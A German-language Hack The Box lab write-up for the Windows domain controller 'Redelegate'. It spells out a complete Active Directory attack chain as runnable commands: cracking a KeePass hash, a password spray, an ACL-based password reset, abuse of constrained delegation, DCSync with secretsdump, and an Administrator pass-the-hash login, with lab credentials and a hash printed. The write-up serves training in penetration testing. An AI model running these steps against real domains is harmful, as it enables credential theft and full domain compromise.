HTB · published
Redelegate
Hack The Box CPTS-Track Writeup für Redelegate: Anonymous FTP, KeePass Crack, MSSQL SID Enumeration, gezielter Password Spray, ACL Abuse, constrained delegation, DCSync und Administrator Pass-the-Hash.
Metadaten
- Name: Redelegate
- IP Address:
10.129.234.50 - Plattform: Windows
- Kategorie: Active Directory / Credential Hygiene / MSSQL / ACL Abuse / Kerberos Delegation
- Schwierigkeit: Medium
- Ziel(e): User, Administrator
- Kurzbeschreibung des Szenarios: Redelegate ist ein Windows Server 2022 Domain Controller. Der Angriff beginnt bei anonymem FTP-Loot, führt über KeePass und MSSQL-SID-Enumeration zu einem gezielten Passworttreffer, anschließend über ACL-basierten Password Reset zu WinRM und endet mit Kerberos constrained delegation, DCSync und Pass-the-Hash.
Reconnaissance/ Enumeration
initscan:
nmap -p- --min-rate 5000 -Pn -oN scans/tcp_full.nmap 10.129.234.50
21/tcp open ftp
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
servicescan:
nmap -sC -sV -O -Pn -p21,53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389 -oN scans/tcp_services.nmap 10.129.234.50
21/tcp Microsoft FTP Service
80/tcp Microsoft IIS 10.0
1433/tcp Microsoft SQL Server 2019
5985/tcp WinRM
Domain: redelegate.vl
Host: dc.redelegate.vl
SMB signing: enabled and required
LDAP RootDSE gab die Domain-Informationen preis:
dnsHostName: dc.redelegate.vl
defaultNamingContext: DC=redelegate,DC=vl
IIS zeigte nur eine Default-Seite. Anonymous LDAP und RID-Lookups waren weitgehend blockiert, aber FTP war anonym zugänglich.
Exploitation (Foothold)
Anonymous FTP enthielt drei Dateien:
CyberAudit.txt
Shared.kdbx
TrainingAgenda.txt
CyberAudit.txt deutete auf schwache Passwörter, gefährliche ACLs, unnötige Privilegien und ungenutzte AD-Objekte hin. TrainingAgenda.txt warnte vor dem Muster:
SeasonYear!
Die KeePass-Datenbank wurde gezielt mit saisonalen Kandidaten angegriffen:
keepass2john loot/Shared.kdbx > loot/Shared.kdbx.hash
john --wordlist=recon/season_passwords.txt loot/Shared.kdbx.hash --format=KeePass
Shared.kdbx : Fall2024!
Der relevante KeePass-Eintrag war:
SQLGuest : zDPBpaF4FywlqIv11vii
SQLGuest war kein AD-User, konnte aber am MSSQL authentifizieren. Über SQL Server ließen sich Windows-SIDs serverseitig übersetzen:
SELECT SUSER_SID('REDELEGATE\Domain Admins');
Dadurch wurde die Domain-SID ermittelt:
S-1-5-21-4024337825-2033394866-2055507597
Mit SUSER_SNAME(SID_BINARY(...)) wurden RIDs übersetzt und Benutzer identifiziert:
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc
FS01$
Ein begrenzter Spray mit dem Audit-Hinweis Fall2024! traf:
Marie.Curie : Fall2024!
Lateral Movement / User Escalation
Mit Marie wurde BloodHound bzw. bloodyAD genutzt, um schreibbare Objekte zu prüfen:
bloodyAD --host dc.redelegate.vl -d redelegate.vl \
-u Marie.Curie -p 'Fall2024!' get writable --detail
Marie konnte unter anderem Helen.Frost zurücksetzen. Helen war Mitglied der Remote Management Users, daher war sie das beste Ziel.
bloodyAD --host dc.redelegate.vl -d redelegate.vl \
-u Marie.Curie -p 'Fall2024!' \
set password Helen.Frost 'Start123!'
WinRM als Helen:
evil-winrm -i dc.redelegate.vl -u Helen.Frost -p 'Start123!'
User Flag:
type C:\Users\Helen.Frost\Desktop\user.txt
9649a[REDACTED-USER-FLAG]7df5
Helens Token enthielt den entscheidenden Hinweis:
SeEnableDelegationPrivilege Enabled
Außerdem kontrollierte Helen ein ungenutztes Computerobjekt:
FS01$
Privilege Escalation (Root / Domain)
FS01$ hatte zunächst keine Delegation. Mit Helens Rechten wurde constrained delegation auf LDAP des DC gesetzt:
Set-ADObject -Identity 'CN=FS01,CN=Computers,DC=redelegate,DC=vl' `
-Add @{'msDS-AllowedToDelegateTo'='ldap/dc.redelegate.vl'}
Set-ADAccountControl -Identity 'FS01$' -TrustedToAuthForDelegation $True
Danach wurde das Machine-Account-Passwort auf einen bekannten Wert gesetzt:
bloodyAD --host dc.redelegate.vl -d redelegate.vl \
-u Helen.Frost -p 'Start123!' \
set password 'FS01$' 'Machine123!'
Mit FS01$ wurde ein LDAP-Service-Ticket angefordert, während DC$ impersoniert wurde:
getST.py 'redelegate.vl/FS01$:Machine123!' \
-spn ldap/dc.redelegate.vl \
-impersonate dc \
-dc-ip 10.129.234.50
Das Ticket erlaubte DCSync:
KRB5CCNAME=dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache \
secretsdump.py -k -no-pass -dc-ip 10.129.234.50 \
-just-dc dc.redelegate.vl
Administrator NTLM:
ec17f7a2a4d96e177bfd101b94ffc0a7
Pass-the-Hash per WinRM:
evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
Root Flag:
type C:\Users\Administrator\Desktop\root.txt
a08d8[REDACTED-ROOT-FLAG]db47
Cleanup der Delegation:
Set-ADObject -Identity 'CN=FS01,CN=Computers,DC=redelegate,DC=vl' `
-Clear 'msDS-AllowedToDelegateTo'
Set-ADAccountControl -Identity 'FS01$' -TrustedToAuthForDelegation $False
Post-Exploitation
- User Flag:
9649a[REDACTED-USER-FLAG]7df5 - Root Flag:
a08d8[REDACTED-ROOT-FLAG]db47 - Wichtige Accounts:
SQLGuest,Marie.Curie,Helen.Frost,FS01$,Administrator - Wichtige Dateien:
CyberAudit.txt,TrainingAgenda.txt,Shared.kdbx - Wichtige Technik: KeePass Crack, MSSQL SID Translation, gezielter Spray, ACL Password Reset, constrained delegation, DCSync
- Cleanup: Delegation auf
FS01$zurückgesetzt; ursprüngliche Passwörter von Helen undFS01$waren nicht wiederherstellbar.
Lessons Learned
- Kontext schlägt Brute Force: Der Training-Hinweis
SeasonYear!machte den KeePass-Crack und Spray gezielt statt blind. - MSSQL kann AD-Enum helfen: Auch ohne LDAP-User kann SQL über SID-Übersetzung Domain-Principals offenlegen.
- ACLs bauen Ketten: Marie war nicht direkt Admin, aber der Password Reset auf Helen öffnete den eigentlichen Pfad.
- Delegation ist Tier-0:
SeEnableDelegationPrivilegeplus kontrolliertes Computerobjekt kann direkt zu DCSync führen.
Notizen
- Helen war das bevorzugte Reset-Ziel, weil WinRM-Zugriff und Delegation-Privilege zusammenkamen.
FS01$war ungenutzt und dadurch ideal für constrained delegation Abuse.- Der Weg blieb sehr “AD-native”: keine CVE, nur Fehlkonfigurationen und schwache Credential-Hygiene.